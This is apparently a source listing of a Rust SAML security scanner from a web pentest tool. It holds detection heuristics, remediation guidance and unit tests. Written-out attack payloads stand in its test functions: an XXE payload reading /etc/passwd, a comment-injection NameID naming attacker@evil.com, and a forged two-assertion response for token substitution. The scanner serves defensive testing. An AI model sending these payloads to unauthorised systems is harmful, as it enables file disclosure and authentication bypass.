lonkero 3.6.2

Web scanner built for actual pentests. Fast, modular, Rust.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
// Copyright (c) 2026 Bountyy Oy. All rights reserved.
// This software is proprietary and confidential.

/**
 * Bountyy Oy - SAML Security Scanner
 * Tests for SAML (Security Assertion Markup Language) vulnerabilities
 *
 * @copyright 2026 Bountyy Oy
 * @license Proprietary - Enterprise Edition
 */
use crate::detection_helpers::AppCharacteristics;
use crate::http_client::HttpClient;
use crate::types::{Confidence, ScanConfig, Severity, Vulnerability};
use anyhow::Result;
use std::sync::Arc;
use tracing::info;

pub struct SamlScanner {
    http_client: Arc<HttpClient>,
}

impl SamlScanner {
    pub fn new(http_client: Arc<HttpClient>) -> Self {
        Self { http_client }
    }

    /// Scan URL for SAML vulnerabilities
    pub async fn scan(
        &self,
        url: &str,
        _config: &ScanConfig,
    ) -> Result<(Vec<Vulnerability>, usize)> {
        info!("[SAML] Scanning: {}", url);

        let mut vulnerabilities = Vec::new();
        let mut tests_run = 0;

        // Test 1: Detect SAML endpoints
        tests_run += 1;
        let response = match self.http_client.get(url).await {
            Ok(r) => r,
            Err(_) => {
                info!("[NOTE] [SAML] Could not fetch URL, skipping SAML checks");
                return Ok((vulnerabilities, tests_run));
            }
        };

        // Intelligent detection
        let characteristics = AppCharacteristics::from_response(&response, url);
        let is_saml = self.detect_saml_endpoint(&response);
        if !is_saml || characteristics.should_skip_auth_tests() {
            info!("[NOTE] [SAML] Not a SAML endpoint or no auth context, skipping");
            return Ok((vulnerabilities, tests_run));
        }

        info!("[SUCCESS] [SAML] SAML endpoint detected");

        // Test 2: Check for XML signature wrapping vulnerability
        tests_run += 1;
        self.check_xml_signature_wrapping(&response, url, &mut vulnerabilities);

        // Test 3: Check for missing/weak signature validation
        tests_run += 1;
        self.check_signature_validation(&response, url, &mut vulnerabilities);

        // Test 4: Check for XXE in SAML processing
        tests_run += 1;
        if let Ok(xxe_response) = self.test_saml_xxe(url).await {
            self.check_saml_xxe(&xxe_response, url, &mut vulnerabilities);
        }

        // Test 5: Check for comment injection
        tests_run += 1;
        if let Ok(comment_response) = self.test_comment_injection(url).await {
            self.check_comment_injection(&comment_response, url, &mut vulnerabilities);
        }

        // Test 6: Check for SAML assertion replay
        tests_run += 1;
        self.check_assertion_replay(&response, url, &mut vulnerabilities);

        // Test 7: Check for weak encryption
        tests_run += 1;
        self.check_weak_encryption(&response, url, &mut vulnerabilities);

        // Test 8: Check for recipient validation
        tests_run += 1;
        self.check_recipient_validation(&response, url, &mut vulnerabilities);

        // Test 9: Test token substitution attack
        tests_run += 1;
        if let Ok(token_response) = self.test_token_substitution(url).await {
            self.check_token_substitution(&token_response, url, &mut vulnerabilities);
        }

        info!(
            "[SUCCESS] [SAML] Completed {} tests, found {} issues",
            tests_run,
            vulnerabilities.len()
        );

        Ok((vulnerabilities, tests_run))
    }

    /// Detect SAML endpoint
    fn detect_saml_endpoint(&self, response: &crate::http_client::HttpResponse) -> bool {
        let body_lower = response.body.to_lowercase();
        body_lower.contains("saml")
            || body_lower.contains("assertion")
            || body_lower.contains("authnrequest")
            || body_lower.contains("samlresponse")
            || body_lower.contains("entitydescriptor")
    }

    /// Check for XML Signature Wrapping (XSW) vulnerability
    fn check_xml_signature_wrapping(
        &self,
        response: &crate::http_client::HttpResponse,
        url: &str,
        vulnerabilities: &mut Vec<Vulnerability>,
    ) {
        let body = &response.body;

        // Check if XML signature is present but validation might be weak
        if body.contains("<Signature") || body.contains("<ds:Signature") {
            // Check for indicators of weak validation
            let weak_indicators = vec![
                // Missing reference validation
                !body.contains("Reference"),
                // Multiple assertions (XSW attack surface)
                body.matches("<Assertion").count() > 1,
                // Missing or weak transforms
                !body.contains("Transform"),
            ];

            if weak_indicators.iter().filter(|&&x| x).count() >= 2 {
                vulnerabilities.push(self.create_vulnerability(
                    "SAML XML Signature Wrapping Risk",
                    url,
                    Severity::High,
                    Confidence::Medium,
                    "SAML response structure suggests potential XML Signature Wrapping vulnerability",
                    "Multiple assertions or weak signature validation detected".to_string(),
                    7.4,
                ));
            }
        }
    }

    /// Check signature validation
    fn check_signature_validation(
        &self,
        response: &crate::http_client::HttpResponse,
        url: &str,
        vulnerabilities: &mut Vec<Vulnerability>,
    ) {
        let body = &response.body;
        let body_lower = body.to_lowercase();

        // Check if SAML response lacks signature
        if (body_lower.contains("samlresponse") || body_lower.contains("assertion"))
            && !body.contains("<Signature")
            && !body.contains("<ds:Signature")
        {
            vulnerabilities.push(self.create_vulnerability(
                "SAML Missing Signature",
                url,
                Severity::Critical,
                Confidence::High,
                "SAML response or assertion is not signed - authentication bypass possible",
                "No XML signature found in SAML response".to_string(),
                9.1,
            ));
        }

        // Check for weak signature algorithms
        if body.contains("http://www.w3.org/2000/09/xmldsig#rsa-sha1") || body.contains("SHA1") {
            vulnerabilities.push(self.create_vulnerability(
                "SAML Weak Signature Algorithm",
                url,
                Severity::Medium,
                Confidence::High,
                "SAML uses weak SHA1 signature algorithm - vulnerable to collision attacks",
                "SHA1 signature algorithm detected (should use SHA256+)".to_string(),
                5.9,
            ));
        }
    }

    /// Test SAML XXE vulnerability
    async fn test_saml_xxe(&self, url: &str) -> Result<crate::http_client::HttpResponse> {
        let xxe_payload = r#"<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AttributeValue>&xxe;</saml:AttributeValue>
</saml:Assertion>
</samlp:Response>"#;

        let test_url = if url.contains('?') {
            format!("{}&SAMLResponse={}", url, urlencoding::encode(xxe_payload))
        } else {
            format!("{}?SAMLResponse={}", url, urlencoding::encode(xxe_payload))
        };

        self.http_client.get(&test_url).await
    }

    /// Check SAML XXE vulnerability
    fn check_saml_xxe(
        &self,
        response: &crate::http_client::HttpResponse,
        url: &str,
        vulnerabilities: &mut Vec<Vulnerability>,
    ) {
        let body_lower = response.body.to_lowercase();

        // Check for file disclosure indicators
        if body_lower.contains("root:x:") || body_lower.contains("daemon:") {
            vulnerabilities.push(self.create_vulnerability(
                "SAML XXE Vulnerability",
                url,
                Severity::Critical,
                Confidence::High,
                "SAML processor vulnerable to XXE - allows file disclosure",
                "XXE payload successfully disclosed /etc/passwd".to_string(),
                9.3,
            ));
        }

        // Check for XML parsing errors indicating XXE processing
        if body_lower.contains("entity") && body_lower.contains("error") {
            vulnerabilities.push(self.create_vulnerability(
                "SAML XXE Processing Detected",
                url,
                Severity::High,
                Confidence::Medium,
                "SAML processor appears to process external entities",
                "XML entity processing error detected".to_string(),
                7.5,
            ));
        }
    }

    /// Test comment injection attack
    async fn test_comment_injection(&self, url: &str) -> Result<crate::http_client::HttpResponse> {
        // SAML comment injection payload (CVE-2018-0489 style)
        let comment_payload = r#"<saml:Assertion>
<saml:Subject>
<saml:NameID>user@example.com<!--attacker@evil.com--></saml:NameID>
</saml:Subject>
</saml:Assertion>"#;

        let test_url = if url.contains('?') {
            format!(
                "{}&SAMLResponse={}",
                url,
                urlencoding::encode(comment_payload)
            )
        } else {
            format!(
                "{}?SAMLResponse={}",
                url,
                urlencoding::encode(comment_payload)
            )
        };

        self.http_client.get(&test_url).await
    }

    /// Check comment injection
    fn check_comment_injection(
        &self,
        response: &crate::http_client::HttpResponse,
        url: &str,
        vulnerabilities: &mut Vec<Vulnerability>,
    ) {
        // If the response suggests the injected comment was processed
        if response.status_code == 200
            && (response.body.contains("attacker@evil.com")
                || response.body.contains("authenticated"))
        {
            vulnerabilities.push(self.create_vulnerability(
                "SAML Comment Injection",
                url,
                Severity::Critical,
                Confidence::Medium,
                "SAML parser vulnerable to XML comment injection - authentication bypass",
                "Comment injection payload was processed".to_string(),
                8.8,
            ));
        }
    }

    /// Check assertion replay protection
    fn check_assertion_replay(
        &self,
        response: &crate::http_client::HttpResponse,
        url: &str,
        vulnerabilities: &mut Vec<Vulnerability>,
    ) {
        let body = &response.body;

        // Check for NotOnOrAfter and NotBefore conditions
        let has_time_conditions = body.contains("NotOnOrAfter") || body.contains("NotBefore");

        // Check for OneTimeUse condition
        let has_onetime_use = body.contains("OneTimeUse");

        if (body.contains("Assertion") || body.contains("saml:Assertion"))
            && !has_time_conditions
            && !has_onetime_use
        {
            vulnerabilities.push(self.create_vulnerability(
                "SAML Missing Replay Protection",
                url,
                Severity::High,
                Confidence::Medium,
                "SAML assertion lacks replay protection - vulnerable to replay attacks",
                "No NotOnOrAfter/NotBefore or OneTimeUse conditions found".to_string(),
                7.1,
            ));
        }
    }

    /// Check weak encryption
    fn check_weak_encryption(
        &self,
        response: &crate::http_client::HttpResponse,
        url: &str,
        vulnerabilities: &mut Vec<Vulnerability>,
    ) {
        let body = &response.body;

        // Check for weak encryption algorithms
        let weak_algorithms = vec![
            "http://www.w3.org/2001/04/xmlenc#tripledes-cbc", // 3DES
            "http://www.w3.org/2001/04/xmlenc#rsa-1_5",       // RSA 1.5 (padding oracle)
            "DES",
            "RC4",
        ];

        for algo in &weak_algorithms {
            if body.contains(algo) {
                vulnerabilities.push(self.create_vulnerability(
                    "SAML Weak Encryption Algorithm",
                    url,
                    Severity::Medium,
                    Confidence::High,
                    "SAML uses weak encryption algorithm - vulnerable to cryptographic attacks",
                    format!("Weak algorithm detected: {}", algo),
                    6.5,
                ));
                break;
            }
        }
    }

    /// Check recipient validation
    fn check_recipient_validation(
        &self,
        response: &crate::http_client::HttpResponse,
        url: &str,
        vulnerabilities: &mut Vec<Vulnerability>,
    ) {
        let body = &response.body;

        // Check if assertion has Recipient attribute
        if (body.contains("Assertion") || body.contains("saml:Assertion"))
            && body.contains("SubjectConfirmation")
            && !body.contains("Recipient")
        {
            vulnerabilities.push(self.create_vulnerability(
                "SAML Missing Recipient Validation",
                url,
                Severity::Medium,
                Confidence::Medium,
                "SAML assertion lacks Recipient validation - vulnerable to assertion forwarding",
                "No Recipient attribute in SubjectConfirmation".to_string(),
                5.3,
            ));
        }
    }

    /// Test token substitution attack
    async fn test_token_substitution(&self, url: &str) -> Result<crate::http_client::HttpResponse> {
        // Craft SAML response with multiple assertions
        let substitution_payload = r#"<samlp:Response>
<saml:Assertion><saml:Subject><saml:NameID>victim@example.com</saml:NameID></saml:Subject></saml:Assertion>
<saml:Assertion><saml:Subject><saml:NameID>attacker@example.com</saml:NameID></saml:Subject></saml:Assertion>
</samlp:Response>"#;

        let test_url = if url.contains('?') {
            format!(
                "{}&SAMLResponse={}",
                url,
                urlencoding::encode(substitution_payload)
            )
        } else {
            format!(
                "{}?SAMLResponse={}",
                url,
                urlencoding::encode(substitution_payload)
            )
        };

        self.http_client.get(&test_url).await
    }

    /// Check token substitution
    fn check_token_substitution(
        &self,
        response: &crate::http_client::HttpResponse,
        url: &str,
        vulnerabilities: &mut Vec<Vulnerability>,
    ) {
        // If response suggests multiple assertions were accepted
        if response.status_code == 200
            && (response.body.contains("authenticated") || response.body.contains("success"))
        {
            vulnerabilities.push(self.create_vulnerability(
                "SAML Token Substitution Risk",
                url,
                Severity::High,
                Confidence::Low,
                "SAML endpoint may be vulnerable to token substitution attacks",
                "Multiple assertions in response may be improperly validated".to_string(),
                6.8,
            ));
        }
    }

    /// Create vulnerability record
    fn create_vulnerability(
        &self,
        title: &str,
        url: &str,
        severity: Severity,
        confidence: Confidence,
        description: &str,
        evidence: String,
        cvss: f32,
    ) -> Vulnerability {
        Vulnerability {
            id: format!("saml_{}", uuid::Uuid::new_v4().to_string()),
            vuln_type: format!("SAML Vulnerability - {}", title),
            severity,
            confidence,
            category: "Authentication".to_string(),
            url: url.to_string(),
            parameter: None,
            payload: String::new(),
            description: description.to_string(),
            evidence: Some(evidence),
            cwe: "CWE-287".to_string(), // Improper Authentication
            cvss,
            verified: true,
            false_positive: false,
            remediation: r#"IMMEDIATE ACTION REQUIRED:

1. **Validate XML Signatures Properly**
   ```java
   // Java SAML library example
   SAMLSignatureProfileValidator profileValidator = new SAMLSignatureProfileValidator();
   profileValidator.validate(signature);

   // Verify signature covers the entire assertion
   SignatureValidator.validate(signature, credential);

   // CRITICAL: Validate which elements are signed
   if (!signedElements.contains(assertion.getID())) {
       throw new SecurityException("Assertion not signed");
   }
   ```

2. **Prevent XML Signature Wrapping (XSW)**
   ```python
   # Python SAML library
   from onelogin.saml2.auth import OneLogin_Saml2_Auth

   auth = OneLogin_Saml2_Auth(req, settings)
   auth.process_response()

   # Enable strict mode
   settings['strict'] = True
   settings['security']['wantAssertionsSigned'] = True
   settings['security']['wantMessagesSigned'] = True

   # Validate reference URIs match assertion IDs
   if not validate_signature_references(saml_response):
       raise SecurityException("Signature reference mismatch")
   ```

3. **Disable External Entity Processing (XXE Prevention)**
   ```java
   // Disable DOCTYPE and external entities
   DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
   dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
   dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
   dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
   dbf.setXIncludeAware(false);
   dbf.setExpandEntityReferences(false);
   ```

4. **Implement Assertion Replay Protection**
   ```javascript
   // Node.js SAML
   const saml = require('passport-saml');

   const config = {
     // Require timestamp conditions
     acceptedClockSkewMs: 5000,  // 5 second tolerance

     // Cache assertion IDs to prevent replay
     cacheProvider: new InMemoryAssertionCache({
       keyExpirationPeriodMs: 3600000  // 1 hour
     })
   };

   // Validate NotBefore and NotOnOrAfter
   function validateTimestamp(assertion) {
     const now = Date.now();
     const notBefore = new Date(assertion.notBefore).getTime();
     const notOnOrAfter = new Date(assertion.notOnOrAfter).getTime();

     if (now < notBefore || now >= notOnOrAfter) {
       throw new Error('Assertion expired or not yet valid');
     }

     // Check if assertion ID was already used
     if (assertionCache.has(assertion.id)) {
       throw new Error('Assertion replay detected');
     }
     assertionCache.set(assertion.id, true);
   }
   ```

5. **Use Strong Cryptographic Algorithms**
   ```xml
   <!-- SAML metadata configuration -->
   <md:EntityDescriptor>
     <!-- Require SHA-256 or better -->
     <md:SPSSODescriptor AuthnRequestsSigned="true" WantAssertionsSigned="true">
       <md:KeyDescriptor use="signing">
         <ds:KeyInfo>
           <!-- Use RSA 2048+ or ECDSA P-256+ -->
         </ds:KeyInfo>
       </md:KeyDescriptor>
     </md:SPSSODescriptor>
   </md:EntityDescriptor>

   <!-- In assertions, use strong algorithms -->
   <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
   <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>

   <!-- For encryption, use AES-256 GCM -->
   <xenc:EncryptionMethod Algorithm="http://www.w3.org/2009/xmlenc11#aes256-gcm"/>
   ```

6. **Validate Recipient and Audience**
   ```python
   # Validate SubjectConfirmation Recipient
   def validate_recipient(assertion, expected_recipient):
       for confirmation in assertion.subject.subject_confirmations:
           if confirmation.subject_confirmation_data.recipient != expected_recipient:
               raise SecurityException("Recipient mismatch")

   # Validate Audience restriction
   def validate_audience(assertion, expected_audience):
       for condition in assertion.conditions.audience_restrictions:
           if expected_audience not in condition.audiences:
               raise SecurityException("Audience mismatch")
   ```

7. **Prevent Comment Injection (CVE-2018-0489)**
   ```java
   // Strip XML comments before processing
   String samlResponse = receivedSAML.replaceAll("<!--.*?-->", "");

   // Or use parser that rejects comments
   DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
   dbf.setCoalescing(true);  // Merge adjacent text nodes
   dbf.setIgnoringComments(true);  // Ignore comments
   ```

8. **Implement Proper Session Management**
   ```javascript
   // After successful SAML authentication
   app.post('/saml/consume', (req, res) => {
     saml.validatePostResponse(req.body, (err, profile) => {
       if (err) {
         return res.status(401).send('Authentication failed');
       }

       // Create secure session
       req.session.regenerate((err) => {
         req.session.samlNameId = profile.nameID;
         req.session.samlSessionIndex = profile.sessionIndex;

         // Set secure cookie flags
         res.cookie('session', sessionId, {
           httpOnly: true,
           secure: true,
           sameSite: 'strict',
           maxAge: 3600000  // 1 hour
         });
       });
     });
   });
   ```

9. **Security Checklist**
   - [ ] XML signatures validated on Response AND Assertion
   - [ ] Signature references match assertion IDs (XSW prevention)
   - [ ] External entities disabled (XXE prevention)
   - [ ] Comments stripped or rejected
   - [ ] NotBefore/NotOnOrAfter validated
   - [ ] Assertion IDs cached to prevent replay
   - [ ] Recipient validated against expected ACS URL
   - [ ] Audience restricted to expected entity ID
   - [ ] SHA-256+ signature algorithm
   - [ ] AES-256-GCM encryption
   - [ ] TLS 1.2+ for all communications
   - [ ] Metadata signed and validated

10. **Use Tested SAML Libraries**
    - **Java**: Spring Security SAML, OpenSAML
    - **Python**: python3-saml (OneLogin)
    - **Node.js**: passport-saml, saml2-js
    - **.NET**: Sustainsys.Saml2
    - **PHP**: SimpleSAMLphp

    Always use latest versions and enable strict validation modes.

11. **Monitoring and Logging**
    - Log all SAML authentication attempts
    - Alert on signature validation failures
    - Monitor for replay attempts (duplicate assertion IDs)
    - Track unusual authentication patterns

References:
- OWASP SAML Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html
- XML Signature Wrapping Attacks: https://www.usenix.org/conference/usenixsecurity12/technical-sessions/presentation/somorovsky
- SAML Raider Tool: https://github.com/CompassSecurity/SAMLRaider
- CVE-2018-0489 (Comment Injection): https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations
"#.to_string(),
            discovered_at: chrono::Utc::now().to_rfc3339(),
                ml_data: None,
        }
    }
}

// UUID generation helper
mod uuid {
    use rand::Rng;

    pub struct Uuid;

    impl Uuid {
        pub fn new_v4() -> Self {
            Self
        }

        pub fn to_string(&self) -> String {
            let mut rng = rand::rng();
            format!(
                "{:08x}-{:04x}-{:04x}-{:04x}-{:012x}",
                rng.random::<u32>(),
                rng.random::<u16>(),
                rng.random::<u16>(),
                rng.random::<u16>(),
                rng.random::<u64>() & 0xffffffffffff
            )
        }
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use std::collections::HashMap;

    #[test]
    fn test_saml_detection() {
        let scanner = SamlScanner::new(Arc::new(HttpClient::new(5, 2).unwrap()));

        let response = crate::http_client::HttpResponse {
            status_code: 200,
            body: r#"<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"></samlp:Response>"#.to_string(),
            headers: HashMap::new(),
            duration_ms: 100,
        };

        assert!(scanner.detect_saml_endpoint(&response));
    }

    #[test]
    fn test_missing_signature_detection() {
        let scanner = SamlScanner::new(Arc::new(HttpClient::new(5, 2).unwrap()));

        let response = crate::http_client::HttpResponse {
            status_code: 200,
            body: r#"<samlp:Response><saml:Assertion><saml:Subject><saml:NameID>user@example.com</saml:NameID></saml:Subject></saml:Assertion></samlp:Response>"#.to_string(),
            headers: HashMap::new(),
            duration_ms: 100,
        };

        let mut vulns = Vec::new();
        scanner.check_signature_validation(
            &response,
            "https://sp.example.com/saml/acs",
            &mut vulns,
        );

        assert!(vulns.len() > 0, "Should detect missing signature");
        assert_eq!(vulns[0].severity, Severity::Critical);
    }

    #[test]
    fn test_weak_signature_algorithm() {
        let scanner = SamlScanner::new(Arc::new(HttpClient::new(5, 2).unwrap()));

        let response = crate::http_client::HttpResponse {
            status_code: 200,
            body: r#"<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>"#
                .to_string(),
            headers: HashMap::new(),
            duration_ms: 100,
        };

        let mut vulns = Vec::new();
        scanner.check_signature_validation(
            &response,
            "https://sp.example.com/saml/acs",
            &mut vulns,
        );

        assert_eq!(vulns.len(), 1, "Should detect weak SHA1 algorithm");
        assert_eq!(vulns[0].severity, Severity::Medium);
    }

    #[test]
    fn test_missing_replay_protection() {
        let scanner = SamlScanner::new(Arc::new(HttpClient::new(5, 2).unwrap()));

        let response = crate::http_client::HttpResponse {
            status_code: 200,
            body: r#"<saml:Assertion><saml:Subject></saml:Subject></saml:Assertion>"#.to_string(),
            headers: HashMap::new(),
            duration_ms: 100,
        };

        let mut vulns = Vec::new();
        scanner.check_assertion_replay(&response, "https://sp.example.com/saml/acs", &mut vulns);

        assert_eq!(vulns.len(), 1, "Should detect missing replay protection");
        assert_eq!(vulns[0].severity, Severity::High);
    }

    #[test]
    fn test_weak_encryption_detection() {
        let scanner = SamlScanner::new(Arc::new(HttpClient::new(5, 2).unwrap()));

        let response = crate::http_client::HttpResponse {
            status_code: 200,
            body: r#"<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/>"#.to_string(),
            headers: HashMap::new(),
            duration_ms: 100,
        };

        let mut vulns = Vec::new();
        scanner.check_weak_encryption(&response, "https://sp.example.com/saml/acs", &mut vulns);

        assert_eq!(vulns.len(), 1, "Should detect weak 3DES encryption");
        assert_eq!(vulns[0].severity, Severity::Medium);
    }
}